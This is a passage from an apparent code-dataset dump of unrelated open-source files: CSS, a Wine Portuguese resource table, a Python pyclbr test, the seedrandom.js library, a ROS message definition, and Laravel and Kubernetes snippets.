".manage-column.wpas-content-heading {\n padding: 15px 10px;\n}\n.wpas-gdpr-export-wrapper{\n margin: 25px 0;\n}\n.wpas-gdpr-notice.success {\n\tbackground-color: #66b266;\n color: #ffffff;\n border-left: 0;\n}\n.wpas-gdpr-notice.success a, \n.wpas-gdpr-notice.success a:visited, \n.wpas-gdpr-notice.success a:focus, \n.wpas-gdpr-notice.success a:active, \n.wpas-gdpr-notice.success a:hover{\n\tcolor: #ffc425;\n}\n.wpas-gdpr-notice.failure {\n\tbackground-color: #8b0000;\n color: #ffffff;\n border-left: 0;\n}\n.wpas-gdpr-notice p {\n\tmargin: .5em 0;\n padding: 5px;\n}"} -{"text": "/*\n * Portuguese resources for oleacc\n *\n * Copyright 2009 Ricardo Filipe\n * Copyright 2010 Gustavo Henrique Milar\u00e9\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n */\n\n#pragma code_page(65001)\n\nLANGUAGE LANG_PORTUGUESE, SUBLANG_PORTUGUESE_BRAZILIAN\n\nSTRINGTABLE\n{\n 0 \"objeto desconhecido\" /* undocumented */\n ROLE_SYSTEM_TITLEBAR \"barra de t\u00edtulo\"\n ROLE_SYSTEM_MENUBAR \"barra de menu\"\n ROLE_SYSTEM_SCROLLBAR \"barra de rolagem\"\n ROLE_SYSTEM_GRIP \"grip\"\n ROLE_SYSTEM_SOUND \"som\"\n ROLE_SYSTEM_CURSOR \"cursor\"\n ROLE_SYSTEM_CARET \"caret\"\n ROLE_SYSTEM_ALERT \"alerta\"\n ROLE_SYSTEM_WINDOW \"janela\"\n ROLE_SYSTEM_CLIENT \"cliente\"\n ROLE_SYSTEM_MENUPOPUP \"menu popup\"\n ROLE_SYSTEM_MENUITEM \"item do menu\"\n ROLE_SYSTEM_TOOLTIP \"dica\"\n ROLE_SYSTEM_APPLICATION \"aplicativo\"\n ROLE_SYSTEM_DOCUMENT \"documento\"\n ROLE_SYSTEM_PANE \"painel\"\n ROLE_SYSTEM_CHART \"gr\u00e1fico\"\n ROLE_SYSTEM_DIALOG \"di\u00e1logo\"\n ROLE_SYSTEM_BORDER \"margem\"\n ROLE_SYSTEM_GROUPING \"agrupamento\"\n ROLE_SYSTEM_SEPARATOR \"separador\"\n ROLE_SYSTEM_TOOLBAR \"barra de ferramentas\"\n ROLE_SYSTEM_STATUSBAR \"barra de estado\"\n ROLE_SYSTEM_TABLE \"tabela\"\n ROLE_SYSTEM_COLUMNHEADER \"cabe\u00e7alho da coluna\"\n ROLE_SYSTEM_ROWHEADER \"cabe\u00e7alho da linha\"\n ROLE_SYSTEM_COLUMN \"coluna\"\n ROLE_SYSTEM_ROW \"linha\"\n ROLE_SYSTEM_CELL \"c\u00e9lula\"\n ROLE_SYSTEM_LINK \"link\"\n ROLE_SYSTEM_HELPBALLOON \"bal\u00e3o de ajuda\"\n ROLE_SYSTEM_CHARACTER \"caractere\"\n ROLE_SYSTEM_LIST \"lista\"\n ROLE_SYSTEM_LISTITEM \"item da lista\"\n ROLE_SYSTEM_OUTLINE \"contorno\"\n ROLE_SYSTEM_OUTLINEITEM \"item de contorno\"\n ROLE_SYSTEM_PAGETAB \"tab de p\u00e1gina\"\n ROLE_SYSTEM_PROPERTYPAGE \"p\u00e1gina de propriedades\"\n ROLE_SYSTEM_INDICATOR \"indicador\"\n ROLE_SYSTEM_GRAPHIC \"gr\u00e1fico\"\n ROLE_SYSTEM_STATICTEXT \"texto est\u00e1tico\"\n ROLE_SYSTEM_TEXT \"texto\"\n ROLE_SYSTEM_PUSHBUTTON \"push button\"\n ROLE_SYSTEM_CHECKBUTTON \"check button\"\n ROLE_SYSTEM_RADIOBUTTON \"radio button\"\n ROLE_SYSTEM_COMBOBOX \"combo box\"\n ROLE_SYSTEM_DROPLIST \"drop down\"\n ROLE_SYSTEM_PROGRESSBAR \"barra de progresso\"\n ROLE_SYSTEM_DIAL \"dial\"\n ROLE_SYSTEM_HOTKEYFIELD \"hot key field\"\n ROLE_SYSTEM_SLIDER \"slider\"\n ROLE_SYSTEM_SPINBUTTON \"spin box\"\n ROLE_SYSTEM_DIAGRAM \"diagrama\"\n ROLE_SYSTEM_ANIMATION \"anima\u00e7\u00e3o\"\n ROLE_SYSTEM_EQUATION \"equa\u00e7\u00e3o\"\n ROLE_SYSTEM_BUTTONDROPDOWN \"drop down button\"\n ROLE_SYSTEM_BUTTONMENU \"menu button\"\n ROLE_SYSTEM_BUTTONDROPDOWNGRID \"grid drop down button\"\n ROLE_SYSTEM_WHITESPACE \"espa\u00e7o em branco\"\n ROLE_SYSTEM_PAGETABLIST \"page tab list\"\n ROLE_SYSTEM_CLOCK \"rel\u00f3gio\"\n ROLE_SYSTEM_SPLITBUTTON \"split button\"\n ROLE_SYSTEM_IPADDRESS \"endere\u00e7o IP\"\n ROLE_SYSTEM_OUTLINEBUTTON \"outline button\"\n\n IDS_STATE_NORMAL \"normal\"\n IDS_STATE_UNAVAILABLE \"unavailable\"\n IDS_STATE_SELECTED \"selected\"\n IDS_STATE_FOCUSED \"focused\"\n IDS_STATE_PRESSED \"pressed\"\n IDS_STATE_CHECKED \"checked\"\n IDS_STATE_MIXED \"mixed\"\n IDS_STATE_READONLY \"read only\"\n IDS_STATE_HOTTRACKED \"hot tracked\"\n IDS_STATE_DEFAULT \"default\"\n IDS_STATE_EXPANDED \"expanded\"\n IDS_STATE_COLLAPSED \"collapsed\"\n IDS_STATE_BUSY \"busy\"\n IDS_STATE_FLOATING \"floating\"\n IDS_STATE_MARQUEED \"marqueed\"\n IDS_STATE_ANIMATED \"animated\"\n IDS_STATE_INVISIBLE \"invisible\"\n IDS_STATE_OFFSCREEN \"offscreen\"\n IDS_STATE_SIZEABLE \"sizeable\"\n IDS_STATE_MOVEABLE \"moveable\"\n IDS_STATE_SELFVOICING \"self voicing\"\n IDS_STATE_FOCUSABLE \"focusable\"\n IDS_STATE_SELECTABLE \"selectable\"\n IDS_STATE_LINKED \"linked\"\n IDS_STATE_TRAVERSED \"traversed\"\n IDS_STATE_MULTISELECTABLE \"multi selectable\"\n IDS_STATE_EXTSELECTABLE \"extended selectable\"\n IDS_STATE_ALERT_LOW \"alert low\"\n IDS_STATE_ALERT_MEDIUM \"alert medium\"\n IDS_STATE_ALERT_HIGH \"alert high\"\n IDS_STATE_PROTECTED \"protected\"\n IDS_STATE_HASPOPUP \"has popup\"\n}\n\nLANGUAGE LANG_PORTUGUESE, SUBLANG_PORTUGUESE\n\nSTRINGTABLE\n{\n 0 \"objecto desconhecido\" /* undocumented */\n ROLE_SYSTEM_TITLEBAR \"barra de t\u00edtulo\"\n ROLE_SYSTEM_MENUBAR \"barra de menu\"\n ROLE_SYSTEM_SCROLLBAR \"barra de scroll\"\n ROLE_SYSTEM_GRIP \"grip\"\n ROLE_SYSTEM_SOUND \"som\"\n ROLE_SYSTEM_CURSOR \"cursor\"\n ROLE_SYSTEM_CARET \"caret\"\n ROLE_SYSTEM_ALERT \"alerta\"\n ROLE_SYSTEM_WINDOW \"janela\"\n ROLE_SYSTEM_CLIENT \"cliente\"\n ROLE_SYSTEM_MENUPOPUP \"popup menu\"\n ROLE_SYSTEM_MENUITEM \"item do menu\"\n ROLE_SYSTEM_TOOLTIP \"dica\"\n ROLE_SYSTEM_APPLICATION \"aplica\u00e7\u00e3o\"\n ROLE_SYSTEM_DOCUMENT \"documento\"\n ROLE_SYSTEM_PANE \"painel\"\n ROLE_SYSTEM_CHART \"gr\u00e1fico\"\n ROLE_SYSTEM_DIALOG \"di\u00e1logo\"\n ROLE_SYSTEM_BORDER \"margem\"\n ROLE_SYSTEM_GROUPING \"agrupamento\"\n ROLE_SYSTEM_SEPARATOR \"separador\"\n ROLE_SYSTEM_TOOLBAR \"barra de ferramentas\"\n ROLE_SYSTEM_STATUSBAR \"barra de estado\"\n ROLE_SYSTEM_TABLE \"tabela\"\n ROLE_SYSTEM_COLUMNHEADER \"cabe\u00e7alho da coluna\"\n ROLE_SYSTEM_ROWHEADER \"cabe\u00e7alho da linha\"\n ROLE_SYSTEM_COLUMN \"coluna\"\n ROLE_SYSTEM_ROW \"linha\"\n ROLE_SYSTEM_CELL \"c\u00e9lula\"\n ROLE_SYSTEM_LINK \"liga\u00e7\u00e3o\"\n ROLE_SYSTEM_HELPBALLOON \"bal\u00e3o de ajuda\"\n ROLE_SYSTEM_CHARACTER \"caracter\"\n ROLE_SYSTEM_LIST \"lista\"\n ROLE_SYSTEM_LISTITEM \"item da lista\"\n ROLE_SYSTEM_OUTLINE \"delinear\"\n ROLE_SYSTEM_OUTLINEITEM \"item delinear\"\n ROLE_SYSTEM_PAGETAB \"tab de p\u00e1gina\"\n ROLE_SYSTEM_PROPERTYPAGE \"p\u00e1gina de propriedades\"\n ROLE_SYSTEM_INDICATOR \"indicador\"\n ROLE_SYSTEM_GRAPHIC \"gr\u00e1fico\"\n ROLE_SYSTEM_STATICTEXT \"texto est\u00e1tico\"\n ROLE_SYSTEM_TEXT \"texto\"\n ROLE_SYSTEM_PUSHBUTTON \"push button\"\n ROLE_SYSTEM_CHECKBUTTON \"check button\"\n ROLE_SYSTEM_RADIOBUTTON \"radio button\"\n ROLE_SYSTEM_COMBOBOX \"combo box\"\n ROLE_SYSTEM_DROPLIST \"drop down\"\n ROLE_SYSTEM_PROGRESSBAR \"barra de progresso\"\n ROLE_SYSTEM_DIAL \"dial\"\n ROLE_SYSTEM_HOTKEYFIELD \"hot key field\"\n ROLE_SYSTEM_SLIDER \"slider\"\n ROLE_SYSTEM_SPINBUTTON \"spin box\"\n ROLE_SYSTEM_DIAGRAM \"diagrama\"\n ROLE_SYSTEM_ANIMATION \"anima\u00e7\u00e3o\"\n ROLE_SYSTEM_EQUATION \"equa\u00e7\u00e3o\"\n ROLE_SYSTEM_BUTTONDROPDOWN \"drop down button\"\n ROLE_SYSTEM_BUTTONMENU \"menu button\"\n ROLE_SYSTEM_BUTTONDROPDOWNGRID \"grid drop down button\"\n ROLE_SYSTEM_WHITESPACE \"espa\u00e7o em branco\"\n ROLE_SYSTEM_PAGETABLIST \"page tab list\"\n ROLE_SYSTEM_CLOCK \"rel\u00f3gio\"\n ROLE_SYSTEM_SPLITBUTTON \"split button\"\n ROLE_SYSTEM_IPADDRESS \"endere\u00e7o IP\"\n ROLE_SYSTEM_OUTLINEBUTTON \"outline button\"\n\n IDS_STATE_NORMAL \"normal\"\n IDS_STATE_UNAVAILABLE \"unavailable\"\n IDS_STATE_SELECTED \"selected\"\n IDS_STATE_FOCUSED \"focused\"\n IDS_STATE_PRESSED \"pressed\"\n IDS_STATE_CHECKED \"checked\"\n IDS_STATE_MIXED \"mixed\"\n IDS_STATE_READONLY \"read only\"\n IDS_STATE_HOTTRACKED \"hot tracked\"\n IDS_STATE_DEFAULT \"default\"\n IDS_STATE_EXPANDED \"expanded\"\n IDS_STATE_COLLAPSED \"collapsed\"\n IDS_STATE_BUSY \"busy\"\n IDS_STATE_FLOATING \"floating\"\n IDS_STATE_MARQUEED \"marqueed\"\n IDS_STATE_ANIMATED \"animated\"\n IDS_STATE_INVISIBLE \"invisible\"\n IDS_STATE_OFFSCREEN \"offscreen\"\n IDS_STATE_SIZEABLE \"sizeable\"\n IDS_STATE_MOVEABLE \"moveable\"\n IDS_STATE_SELFVOICING \"self voicing\"\n IDS_STATE_FOCUSABLE \"focusable\"\n IDS_STATE_SELECTABLE \"selectable\"\n IDS_STATE_LINKED \"linked\"\n IDS_STATE_TRAVERSED \"traversed\"\n IDS_STATE_MULTISELECTABLE \"multi selectable\"\n IDS_STATE_EXTSELECTABLE \"extended selectable\"\n IDS_STATE_ALERT_LOW \"alert low\"\n IDS_STATE_ALERT_MEDIUM \"alert medium\"\n IDS_STATE_ALERT_HIGH \"alert high\"\n IDS_STATE_PROTECTED \"protected\"\n IDS_STATE_HASPOPUP \"has popup\"\n}\n"} -{"text": "'''\n Test cases for pyclbr.py\n Nick Mathewson\n'''\nfrom test.support import run_unittest\nimport sys\nfrom types import FunctionType, MethodType, BuiltinFunctionType\nimport pyclbr\nfrom unittest import TestCase\n\nStaticMethodType = type(staticmethod(lambda: None))\nClassMethodType = type(classmethod(lambda c: None))\n\n# Here we test the python class browser code.\n#\n# The main function in this suite, 'testModule', compares the output\n# of pyclbr with the introspected members of a module. Because pyclbr\n# is imperfect (as designed), testModule is called with a set of\n# members to ignore.\n\nclass PyclbrTest(TestCase):\n\n def assertListEq(self, l1, l2, ignore):\n ''' succeed iff {l1} - {ignore} == {l2} - {ignore} '''\n missing = (set(l1) ^ set(l2)) - set(ignore)\n if missing:\n print(\"l1=%r\\nl2=%r\\nignore=%r\" % (l1, l2, ignore), file=sys.stderr)\n self.fail(\"%r missing\" % missing.pop())\n\n def assertHasattr(self, obj, attr, ignore):\n ''' succeed iff hasattr(obj,attr) or attr in ignore. '''\n if attr in ignore: return\n if not hasattr(obj, attr): print(\"???\", attr)\n self.assertTrue(hasattr(obj, attr),\n 'expected hasattr(%r, %r)' % (obj, attr))\n\n\n def assertHaskey(self, obj, key, ignore):\n ''' succeed iff key in obj or key in ignore. '''\n if key in ignore: return\n if key not in obj:\n print(\"***\",key, file=sys.stderr)\n self.assertIn(key, obj)\n\n def assertEqualsOrIgnored(self, a, b, ignore):\n ''' succeed iff a == b or a in ignore or b in ignore '''\n if a not in ignore and b not in ignore:\n self.assertEqual(a, b)\n\n def checkModule(self, moduleName, module=None, ignore=()):\n ''' succeed iff pyclbr.readmodule_ex(modulename) corresponds\n to the actual module object, module. Any identifiers in\n ignore are ignored. If no module is provided, the appropriate\n module is loaded with __import__.'''\n\n ignore = set(ignore) | set(['object'])\n\n if module is None:\n # Import it.\n # ('' is to work around an API silliness in __import__)\n module = __import__(moduleName, globals(), {}, [''])\n\n dict = pyclbr.readmodule_ex(moduleName)\n\n def ismethod(oclass, obj, name):\n classdict = oclass.__dict__\n if isinstance(obj, MethodType):\n # could be a classmethod\n if (not isinstance(classdict[name], ClassMethodType) or\n obj.__self__ is not oclass):\n return False\n elif not isinstance(obj, FunctionType):\n return False\n\n objname = obj.__name__\n if objname.startswith(\"__\") and not objname.endswith(\"__\"):\n objname = \"_%s%s\" % (oclass.__name__, objname)\n return objname == name\n\n # Make sure the toplevel functions and classes are the same.\n for name, value in dict.items():\n if name in ignore:\n continue\n self.assertHasattr(module, name, ignore)\n py_item = getattr(module, name)\n if isinstance(value, pyclbr.Function):\n self.assertIsInstance(py_item, (FunctionType, BuiltinFunctionType))\n if py_item.__module__ != moduleName:\n continue # skip functions that came from somewhere else\n self.assertEqual(py_item.__module__, value.module)\n else:\n self.assertIsInstance(py_item, type)\n if py_item.__module__ != moduleName:\n continue # skip classes that came from somewhere else\n\n real_bases = [base.__name__ for base in py_item.__bases__]\n pyclbr_bases = [ getattr(base, 'name', base)\n for base in value.super ]\n\n try:\n self.assertListEq(real_bases, pyclbr_bases, ignore)\n except:\n print(\"class=%s\" % py_item, file=sys.stderr)\n raise\n\n actualMethods = []\n for m in py_item.__dict__.keys():\n if ismethod(py_item, getattr(py_item, m), m):\n actualMethods.append(m)\n foundMethods = []\n for m in value.methods.keys():\n if m[:2] == '__' and m[-2:] != '__':\n foundMethods.append('_'+name+m)\n else:\n foundMethods.append(m)\n\n try:\n self.assertListEq(foundMethods, actualMethods, ignore)\n self.assertEqual(py_item.__module__, value.module)\n\n self.assertEqualsOrIgnored(py_item.__name__, value.name,\n ignore)\n # can't check file or lineno\n except:\n print(\"class=%s\" % py_item, file=sys.stderr)\n raise\n\n # Now check for missing stuff.\n def defined_in(item, module):\n if isinstance(item, type):\n return item.__module__ == module.__name__\n if isinstance(item, FunctionType):\n return item.__globals__ is module.__dict__\n return False\n for name in dir(module):\n item = getattr(module, name)\n if isinstance(item, (type, FunctionType)):\n if defined_in(item, module):\n self.assertHaskey(dict, name, ignore)\n\n def test_easy(self):\n self.checkModule('pyclbr')\n self.checkModule('ast')\n self.checkModule('doctest', ignore=(\"TestResults\", \"_SpoofOut\",\n \"DocTestCase\", '_DocTestSuite'))\n self.checkModule('difflib', ignore=(\"Match\",))\n\n def test_decorators(self):\n # XXX: See comment in pyclbr_input.py for a test that would fail\n # if it were not commented out.\n #\n self.checkModule('test.pyclbr_input', ignore=['om'])\n\n def test_others(self):\n cm = self.checkModule\n\n # These were once about the 10 longest modules\n cm('random', ignore=('Random',)) # from _random import Random as CoreGenerator\n cm('cgi', ignore=('log',)) # set with = in module\n cm('pickle')\n cm('aifc', ignore=('openfp', '_aifc_params')) # set with = in module\n cm('sre_parse', ignore=('dump',)) # from sre_constants import *\n cm('pdb')\n cm('pydoc')\n\n # Tests for modules inside packages\n cm('email.parser')\n cm('test.test_pyclbr')\n\n def test_issue_14798(self):\n # test ImportError is raised when the first part of a dotted name is\n # not a package\n self.assertRaises(ImportError, pyclbr.readmodule_ex, 'asyncore.foo')\n\n\ndef test_main():\n run_unittest(PyclbrTest)\n\n\nif __name__ == \"__main__\":\n test_main()\n"} -{"text": "/**\n\nseedrandom.js\n=============\n\nSeeded random number generator for Javascript.\n\nversion 2.3.10\nAuthor: David Bau\nDate: 2014 Sep 20\n\nCan be used as a plain script, a node.js module or an AMD module.\n\nScript tag usage\n----------------\n\n\n\n// Sets Math.random to a PRNG initialized using the given explicit seed.\nMath.seedrandom('hello.');\nconsole.log(Math.random()); // Always 0.9282578795792454\nconsole.log(Math.random()); // Always 0.3752569768646784\n\n// Sets Math.random to an ARC4-based PRNG that is autoseeded using the\n// current time, dom state, and other accumulated local entropy.\n// The generated seed string is returned.\nMath.seedrandom();\nconsole.log(Math.random()); // Reasonably unpredictable.\n\n// Seeds using the given explicit seed mixed with accumulated entropy.\nMath.seedrandom('added entropy.', { entropy: true });\nconsole.log(Math.random()); // As unpredictable as added entropy.\n\n// Use \"new\" to create a local prng without altering Math.random.\nvar myrng = new Math.seedrandom('hello.');\nconsole.log(myrng()); // Always 0.9282578795792454\n\n\nNode.js usage\n-------------\n\nnpm install seedrandom\n\n// Local PRNG: does not affect Math.random.\nvar seedrandom = require('seedrandom');\nvar rng = seedrandom('hello.');\nconsole.log(rng()); // Always 0.9282578795792454\n\n// Autoseeded ARC4-based PRNG.\nrng = seedrandom();\nconsole.log(rng()); // Reasonably unpredictable.\n\n// Global PRNG: set Math.random.\nseedrandom('hello.', { global: true });\nconsole.log(Math.random()); // Always 0.9282578795792454\n\n// Mixing accumulated entropy.\nrng = seedrandom('added entropy.', { entropy: true });\nconsole.log(rng()); // As unpredictable as added entropy.\n\n\nRequire.js usage\n----------------\n\nSimilar to node.js usage:\n\nbower install seedrandom\n\nrequire(['seedrandom'], function(seedrandom) {\n var rng = seedrandom('hello.');\n console.log(rng()); // Always 0.9282578795792454\n});\n\n\nNetwork seeding\n---------------\n\n\n\n\n\n\n\n\n\nReseeding using user input\n--------------------------\n\nvar seed = Math.seedrandom(); // Use prng with an automatic seed.\ndocument.write(Math.random()); // Pretty much unpredictable x.\n\nvar rng = new Math.seedrandom(seed); // A new prng with the same seed.\ndocument.write(rng()); // Repeat the 'unpredictable' x.\n\nfunction reseed(event, count) { // Define a custom entropy collector.\n var t = [];\n function w(e) {\n t.push([e.pageX, e.pageY, +new Date]);\n if (t.length < count) { return; }\n document.removeEventListener(event, w);\n Math.seedrandom(t, { entropy: true });\n }\n document.addEventListener(event, w);\n}\nreseed('mousemove', 100); // Reseed after 100 mouse moves.\n\nThe \"pass\" option can be used to get both the prng and the seed.\nThe following returns both an autoseeded prng and the seed as an object,\nwithout mutating Math.random:\n\nvar obj = Math.seedrandom(null, { pass: function(prng, seed) {\n return { random: prng, seed: seed };\n}});\n\n\nVersion notes\n-------------\n\nThe random number sequence is the same as version 1.0 for string seeds.\n* Version 2.0 changed the sequence for non-string seeds.\n* Version 2.1 speeds seeding and uses window.crypto to autoseed if present.\n* Version 2.2 alters non-crypto autoseeding to sweep up entropy from plugins.\n* Version 2.3 adds support for \"new\", module loading, and a null seed arg.\n* Version 2.3.1 adds a build environment, module packaging, and tests.\n* Version 2.3.4 fixes bugs on IE8, and switches to MIT license.\n* Version 2.3.6 adds a readable options object argument.\n* Version 2.3.10 adds support for node.js crypto (contributed by ctd1500).\n\nThe standard ARC4 key scheduler cycles short keys, which means that\nseedrandom('ab') is equivalent to seedrandom('abab') and 'ababab'.\nTherefore it is a good idea to add a terminator to avoid trivial\nequivalences on short string seeds, e.g., Math.seedrandom(str + '\\0').\nStarting with version 2.0, a terminator is added automatically for\nnon-string seeds, so seeding with the number 111 is the same as seeding\nwith '111\\0'.\n\nWhen seedrandom() is called with zero args or a null seed, it uses a\nseed drawn from the browser crypto object if present. If there is no\ncrypto support, seedrandom() uses the current time, the native rng,\nand a walk of several DOM objects to collect a few bits of entropy.\n\nEach time the one- or two-argument forms of seedrandom are called,\nentropy from the passed seed is accumulated in a pool to help generate\nfuture seeds for the zero- and two-argument forms of seedrandom.\n\nOn speed - This javascript implementation of Math.random() is several\ntimes slower than the built-in Math.random() because it is not native\ncode, but that is typically fast enough. Some details (timings on\nChrome 25 on a 2010 vintage macbook):\n\n* seeded Math.random() - avg less than 0.0002 milliseconds per call\n* seedrandom('explicit.') - avg less than 0.2 milliseconds per call\n* seedrandom('explicit.', true) - avg less than 0.2 milliseconds per call\n* seedrandom() with crypto - avg less than 0.2 milliseconds per call\n\nAutoseeding without crypto is somewhat slower, about 20-30 milliseconds on\na 2012 windows 7 1.5ghz i5 laptop, as seen on Firefox 19, IE 10, and Opera.\nSeeded rng calls themselves are fast across these browsers, with slowest\nnumbers on Opera at about 0.0005 ms per seeded Math.random().\n\n\nLICENSE (MIT)\n-------------\n\nCopyright 2014 David Bau.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n*/\n\n/**\n * All code is in an anonymous closure to keep the global namespace clean.\n */\n(function (\n global, pool, math, width, chunks, digits, module, define, rngname) {\n\n//\n// The following constants are related to IEEE 754 limits.\n//\nvar startdenom = math.pow(width, chunks),\n significance = math.pow(2, digits),\n overflow = significance * 2,\n mask = width - 1,\n nodecrypto;\n\n//\n// seedrandom()\n// This is the seedrandom function described above.\n//\nvar impl = math['seed' + rngname] = function(seed, options, callback) {\n var key = [];\n options = (options == true) ? { entropy: true } : (options || {});\n\n // Flatten the seed string or build one from local entropy if needed.\n var shortseed = mixkey(flatten(\n options.entropy ? [seed, tostring(pool)] :\n (seed == null) ? autoseed() : seed, 3), key);\n\n // Use the seed to initialize an ARC4 generator.\n var arc4 = new ARC4(key);\n\n // Mix the randomness into accumulated entropy.\n mixkey(tostring(arc4.S), pool);\n\n // Calling convention: what to return as a function of prng, seed, is_math.\n return (options.pass || callback ||\n // If called as a method of Math (Math.seedrandom()), mutate Math.random\n // because that is how seedrandom.js has worked since v1.0. Otherwise,\n // it is a newer calling convention, so return the prng directly.\n function(prng, seed, is_math_call) {\n if (is_math_call) { math[rngname] = prng; return seed; }\n else return prng;\n })(\n\n // This function returns a random double in [0, 1) that contains\n // randomness in every bit of the mantissa of the IEEE 754 value.\n function() {\n var n = arc4.g(chunks), // Start with a numerator n < 2 ^ 48\n d = startdenom, // and denominator d = 2 ^ 48.\n x = 0; // and no 'extra last byte'.\n while (n < significance) { // Fill up all significant digits by\n n = (n + x) * width; // shifting numerator and\n d *= width; // denominator and generating a\n x = arc4.g(1); // new least-significant-byte.\n }\n while (n >= overflow) { // To avoid rounding up, before adding\n n /= 2; // last byte, shift everything\n d /= 2; // right using integer math until\n x >>>= 1; // we have exactly the desired bits.\n }\n return (n + x) / d; // Form the number within [0, 1).\n }, shortseed, 'global' in options ? options.global : (this == math));\n};\n\n//\n// ARC4\n//\n// An ARC4 implementation. The constructor takes a key in the form of\n// an array of at most (width) integers that should be 0 <= x < (width).\n//\n// The g(count) method returns a pseudorandom integer that concatenates\n// the next (count) outputs from ARC4. Its return value is a number x\n// that is in the range 0 <= x < (width ^ count).\n//\n/** @constructor */\nfunction ARC4(key) {\n var t, keylen = key.length,\n me = this, i = 0, j = me.i = me.j = 0, s = me.S = [];\n\n // The empty key [] is treated as [0].\n if (!keylen) { key = [keylen++]; }\n\n // Set up S using the standard key scheduling algorithm.\n while (i < width) {\n s[i] = i++;\n }\n for (i = 0; i < width; i++) {\n s[i] = s[j = mask & (j + key[i % keylen] + (t = s[i]))];\n s[j] = t;\n }\n\n // The \"g\" method returns the next (count) outputs as one number.\n (me.g = function(count) {\n // Using instance members instead of closure state nearly doubles speed.\n var t, r = 0,\n i = me.i, j = me.j, s = me.S;\n while (count--) {\n t = s[i = mask & (i + 1)];\n r = r * width + s[mask & ((s[i] = s[j = mask & (j + t)]) + (s[j] = t))];\n }\n me.i = i; me.j = j;\n return r;\n // For robust unpredictability, the function call below automatically\n // discards an initial batch of values. This is called RC4-drop[256].\n // See http://google.com/search?q=rsa+fluhrer+response&btnI\n })(width);\n}\n\n//\n// flatten()\n// Converts an object tree to nested arrays of strings.\n//\nfunction flatten(obj, depth) {\n var result = [], typ = (typeof obj), prop;\n if (depth && typ == 'object') {\n for (prop in obj) {\n try { result.push(flatten(obj[prop], depth - 1)); } catch (e) {}\n }\n }\n return (result.length ? result : typ == 'string' ? obj : obj + '\\0');\n}\n\n//\n// mixkey()\n// Mixes a string seed into a key that is an array of integers, and\n// returns a shortened string seed that is equivalent to the result key.\n//\nfunction mixkey(seed, key) {\n var stringseed = seed + '', smear, j = 0;\n while (j < stringseed.length) {\n key[mask & j] =\n mask & ((smear ^= key[mask & j] * 19) + stringseed.charCodeAt(j++));\n }\n return tostring(key);\n}\n\n//\n// autoseed()\n// Returns an object for autoseeding, using window.crypto if available.\n//\n/** @param {Uint8Array|Navigator=} seed */\nfunction autoseed(seed) {\n try {\n if (nodecrypto) return tostring(nodecrypto.randomBytes(width));\n global.crypto.getRandomValues(seed = new Uint8Array(width));\n return tostring(seed);\n } catch (e) {\n return [+new Date, global, (seed = global.navigator) && seed.plugins,\n global.screen, tostring(pool)];\n }\n}\n\n//\n// tostring()\n// Converts an array of charcodes to a string\n//\nfunction tostring(a) {\n return String.fromCharCode.apply(0, a);\n}\n\n//\n// When seedrandom.js is loaded, we immediately mix a few bits\n// from the built-in RNG into the entropy pool. Because we do\n// not want to interfere with deterministic PRNG state later,\n// seedrandom will not call math.random on its own again after\n// initialization.\n//\nmixkey(math[rngname](), pool);\n\n//\n// Nodejs and AMD support: export the implementation as a module using\n// either convention.\n//\nif (module && module.exports) {\n module.exports = impl;\n try {\n // When in node.js, try using crypto package for autoseeding.\n nodecrypto = require('crypto');\n } catch (ex) {}\n} else if (define && define.amd) {\n define(function() { return impl; });\n}\n\n//\n// Node.js native crypto support.\n//\n\n// End anonymous scope, and pass initial values.\n})(\n this, // global window object\n [], // pool: entropy pool starts empty\n Math, // math: package containing random, pow, and seedrandom\n 256, // width: each RC4 output is 0 <= x < 256\n 6, // chunks: at least six RC4 outputs for each double\n 52, // digits: there are 52 significant digits in a double\n (typeof module) == 'object' && module, // present in node.js\n (typeof define) == 'function' && define, // present with an AMD loader\n 'random'// rngname: name for Math.random and Math.seedrandom\n);"} -{"text": "# The state of a robot expressed in the Cartesian frame\n\nduration time_from_start # global time along trajectory\n\n# Position, velocity and acceleration of the base expressed in world frame\n# The orientation quaternion maps base to world frame.\nState6d base # base pos/vel/acc in world\n\nStateLin3d[] ee_motion # endeffector pos/vel/acc in world\ngeometry_msgs/Vector3[] ee_forces # endeffector forces expressed in world\nbool[] ee_contact # True if the foot is touching the environment\n\n\n\n"} -{"text": "extendSocialite('xrel', Provider::class);\n }\n}\n"} -{"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by client-gen. DO NOT EDIT.\n\npackage v1alpha1\n\nimport (\n\tv1alpha1 \"k8s.io/api/discovery/v1alpha1\"\n\t\"k8s.io/client-go/kubernetes/scheme\"\n\trest \"k8s.io/client-go/rest\"\n)\n\ntype DiscoveryV1alpha1Interface interface {\n\tRESTClient() 